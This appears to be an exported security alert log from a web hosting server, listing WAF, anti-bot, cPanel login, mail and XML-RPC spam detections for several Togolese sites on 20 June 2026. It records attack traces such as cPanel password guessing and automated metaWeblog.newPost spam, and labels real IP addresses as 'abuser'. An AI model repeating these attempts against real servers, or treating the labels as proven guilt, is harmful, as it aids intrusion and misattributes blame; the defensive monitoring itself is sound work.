IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/02/632cd1b8061a279bd0fd23aed8a0d4f3_L.webp 600w, http:/togodailynews.tg/wp-content/uploads/2026/02/632cd1b8061a279bd0fd23aed8a0d4f3_L-300x150.webp 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 138.199.60.181
country_id: 1880251
description:
[2026-06-20 18:35:43 +0000] info [cpaneld] 138.199.60.181 - tqbcalqt "GET / HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [202.65.236.45] != Current IP Address [138.199.60.181]


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 138.199.60.181
country_id: 1880251
description:
[2026-06-20 18:35:50 +0000] info [cpaneld] 138.199.60.181 NEW tqbcalqt:iOoc0hX_dggIfc3F address=138.199.60.181,app=cpaneld,creator=tqbcalqt,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.85.202.78
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/02/Conseil-des-Ministres-du-25-fevrier-2026.webp 800w, http:/togodailynews.tg/wp-content/uploads/2026/02/Conseil-des-Ministres-du-25-fevrier-2026-300x274.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/02/Conseil-des-Ministres-du-25-fevrier-2026-768x702.webp 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.78.3.202
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/politique/page/c7c0b9 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-20 18:40:34 +0000] info [cpaneld] 102.54.238.57 - sbnjjkvc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sbnjjkvc (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:41:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:41:40 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.139.137.11
country_id: 1512440
description:
2026-06-20 18:42:23 H=([185.139.137.11]) [185.139.137.11]:31723 F=<sergde@dgdn-togo.tg> rejected RCPT <sergde@dgdn-togo.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:44:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10117781&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981062 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:18:44:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6659015&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981061 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:18:44:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6395594&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981060 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:18:45:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10121159&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981138 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:45:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10393749&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981139 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.123.9.238
country_id: 3469034
domain: www.case-afrique.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.case-afrique.tg/planmedia.php HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-20 18:50:48 +0000] info [cpaneld] 102.54.238.57 - websitecpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.83.109.214
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/politique/page/76797e HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 125.212.159.21
country_id: 1562822
description:
125.212.159.21 - - [20/Jun/2026:18:51:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907800&pdata=https%253A%252F%252F24heureinfo.tg%252Fsociete%252Finondations-yark-appelle-les-populations-du-grand-lome-a-la-prudence&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981490 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/societe/inondations-yark-appelle-les-populations-du-grand-lome-a-la-prudence" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:125.212.159.21


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [20/Jun/2026:18:52:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9815707&pdata=http%253A%252F%252Fvo2.mairie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981562 HTTP/1.1" 302 0 vo2.mairie.tg "http://vo2.mairie.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [20/Jun/2026:18:52:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988974&pdata=https%253A%252F%252Fvo2.mairie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981564 HTTP/2.0" 302 0 vo2.mairie.tg "https://vo2.mairie.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.22.165.25
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1028574175 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.227.213.163
country_id: 1269750
description:
Jun 20 18:53:25 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.227.213.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.227.213.163
country_id: 1269750
description:
Jun 20 18:53:34 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.227.213.163 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.189.97.76
country_id: 3895114
description:
186.189.97.76 - - [20/Jun/2026:18:54:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10209385&pdata=https%253A%252F%252Fcfpj.tg%252Fhdvc-308203netid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981654 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/hdvc-308203netid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.189.97.76


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.39.201.146
country_id: 285570
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/politique/page/b5a48e HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:57:38 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:444bd05668e7f2a08eccf33f0b8a10c842f9b111||Title:3g7s47sek3y4jd4h8q||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:57:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:58:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13145243&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981918 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:18:58:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10130793&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981921 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.114.48.129
country_id: 3895114
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/854547228 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.186.87.164
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/c7c2c4 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:18:58:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12752789&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981905 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:69979c5739abef8bb357b883cc116a99dcf48041||Title:1p3f0z1kllc8mgpfbr||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:304a8192fa64a1ae65d994f637404db3e415cbdc||Title:itvhsbto4g0diqztbw||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:96301d343c034b814fd7d72a6aa87a4c86ea2602||Title:xp1u42diibxd7ysvjo||RSV:8.19||T:APACHE||


